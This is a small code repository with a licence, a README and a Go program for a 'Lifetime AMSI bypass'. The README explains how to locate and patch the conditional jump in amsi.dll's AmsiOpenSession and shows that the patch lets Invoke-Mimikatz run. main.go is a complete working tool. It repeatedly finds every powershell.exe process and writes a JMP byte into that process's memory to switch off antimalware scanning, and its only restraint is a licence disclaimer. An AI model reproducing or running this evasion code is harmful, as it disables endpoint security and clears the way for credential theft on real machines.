├── LICENSE ├── README.md └── main.go /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 EvilBytecode 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to use the Software for educational and authorized cybersecurity research purposes only, subject to the following conditions: 7 | 8 | The above copyright notice, this permission notice, and the following disclaimer shall be included in all copies or substantial portions of the Software. 9 | 10 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 11 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS (INCLUDING EvilBytecode) BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 12 | WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE, COPYING, DOWNLOADING, OR OTHER DEALINGS IN THE SOFTWARE. 13 | 14 | DISCLAIMER: I, EvilBytecode, release this project strictly for educational, academic, and authorized cybersecurity research purposes. 15 | By accessing, downloading, copying, using, or modifying this software, you agree to these terms. 16 | You must obtain explicit written permission from system owners before conducting any testing using this software. 17 | Unauthorized use, distribution, or deployment of this software against any third party, device, network, or system without prior consent is strictly forbidden and illegal. 18 | I, EvilBytecode, disclaim all responsibility, liability, or consequences arising from any misuse, illegal activities, damages, or losses resulting from this software. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Lifetime AMSI bypass 2 | 3 | 4 | * we get the exact address of the jump instruction by searching for the first byte of each instruction this technique is effective even in the face of updates or modifications to the target data set. 5 | 6 | * for example : 7 | 8 | ` | 48:85D2 | test rdx, rdx |` 9 | 10 | ` | 74 3F | je amsi.7FFAE957C694 |` 11 | 12 | ` | 48 : 85C9 | test rcx, rcx |` 13 | 14 | ` | 74 3A | je amsi.7FFAE957C694 |` 15 | 16 | ` | 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |` 17 | 18 | ` | 74 33 | je amsi.7FFAE957C694 |` 19 | 20 | * the search pattern will be like this : 21 | 22 | `{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}` 23 | 24 | 25 | ![image](https://user-images.githubusercontent.com/60795188/221431685-60fb2012-db0f-41aa-bd7b-3a19f07c91c4.png) 26 | 27 | 28 | 29 | # Patch 30 | 31 | ## Before Patch 32 | 33 | * The program tests the value of RDX against itself. If the comparison evaluates to 0, the program executes a jump to return. Otherwise, the program proceeds to evaluate the next instruction 34 | 35 | ![image](https://user-images.githubusercontent.com/60795188/221431975-73c78c9c-5358-44c2-b0de-41d68024e2bb.png) 36 | 37 | * we cant execute "Invoke-Mimikatz" 38 | 39 | ![image](https://user-images.githubusercontent.com/60795188/221432132-20993ccf-c53e-493d-8b22-feaea86fb6bf.png) 40 | 41 | ## After Patch 42 | 43 | 44 | * we patch the first byte and change it from JE to JMP so it return directly 45 | 46 | ![Screenshot 2023-02-26 195848](https://user-images.githubusercontent.com/60795188/221444031-5b8c365f-cb38-4ce4-89b5-153ecc12208d.png) 47 | 48 | ![image](https://user-images.githubusercontent.com/60795188/221432418-841db688-879c-4915-8d6e-926236a3732c.png) 49 | 50 | * now we execute "Invoke-Mimikatz" 51 | 52 | ![Screenshot 2023-02-26 195914](https://user-images.githubusercontent.com/60795188/221432425-5c121433-33f4-4b8d-add6-63c078d5edb8.png) 53 | 54 | - Credits ZeroMemoryEx on github 55 | 56 | 57 | ## License 58 | This project is licensed under the MIT License. See the LICENSE file for details. -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "syscall" 6 | "time" 7 | "unsafe" 8 | "golang.org/x/sys/windows" 9 | ) 10 | // https://github.com/EvilBytecode / codepulze on discord / telegram 11 | const ( 12 | vmoperation = 0x0008 13 | vmread = 0x0010 14 | vmwrite = 0x0020 15 | th32snapproc = 0x2 16 | ptchdrq = 500 17 | ) 18 | 19 | var patch = []byte{0xEB} 20 | 21 | func SPatt(startaddr []byte, pattern []byte) int { 22 | patsiz := len(pattern) 23 | for i := 0; i < len(startaddr); i++ { 24 | if startaddr[i] == pattern[0] { 25 | j := 1 26 | for j < patsiz && (pattern[j] == '?' || startaddr[i+j] == pattern[j]) { 27 | j++ 28 | } 29 | if j == patsiz { 30 | return i + 3 31 | } 32 | } 33 | } 34 | return -1 35 | } 36 | 37 | func patchAmsi(tpid uint32) int { 38 | pattern := []byte{0x48, '?', '?', 0x74, '?', 0x48, '?', '?', 0x74} 39 | prochandl, _ := windows.OpenProcess(vmoperation|vmread|vmwrite, false, tpid) 40 | defer windows.CloseHandle(prochandl) 41 | hm, _ := windows.LoadLibrary("amsi.dll") 42 | defer windows.FreeLibrary(hm) 43 | AmsiAddr, _ := windows.GetProcAddress(hm, "AmsiOpenSession") 44 | buff := make([]byte, 1024) 45 | var bytereadt uintptr 46 | _ = windows.ReadProcessMemory(prochandl, uintptr(AmsiAddr), &buff[0], 1024, &bytereadt) 47 | matchaddr := SPatt(buff, pattern) 48 | if matchaddr == -1 { 49 | return 144 50 | } 51 | fmt.Printf("amsi addr %X\n", AmsiAddr) 52 | fmt.Printf("offset : %d\n", matchaddr) 53 | updaamsaddr := uintptr(AmsiAddr) + uintptr(matchaddr) 54 | var bytwrite uintptr 55 | _ = windows.WriteProcessMemory(prochandl, updaamsaddr, &patch[0], 1, &bytwrite) 56 | return 0 57 | } 58 | 59 | func PatchAllPowershells(pn string) { 60 | hSnap, _ := windows.CreateToolhelp32Snapshot(th32snapproc, 0) 61 | defer windows.CloseHandle(hSnap) 62 | var pE windows.ProcessEntry32 63 | pE.Size = uint32(unsafe.Sizeof(pE)) 64 | windows.Process32First(hSnap, &pE) 65 | for { 66 | if pE.ExeFile[0] == 0 { 67 | break 68 | } 69 | if syscall.UTF16ToString(pE.ExeFile[:]) == pn { 70 | procId := pE.ProcessID 71 | result := patchAmsi(procId) 72 | switch result { 73 | case 0: 74 | fmt.Printf("AMSI patched %d\n", pE.ProcessID) 75 | case 144: 76 | fmt.Println("Already patched in this current console..") 77 | default: 78 | fmt.Println("Patch failed") 79 | } 80 | } 81 | if windows.Process32Next(hSnap, &pE) != nil { 82 | break 83 | } 84 | } 85 | } 86 | 87 | func main() { 88 | for { 89 | PatchAllPowershells("powershell.exe") 90 | time.Sleep(ptchdrq * time.Millisecond) 91 | } 92 | } 93 | --------------------------------------------------------------------------------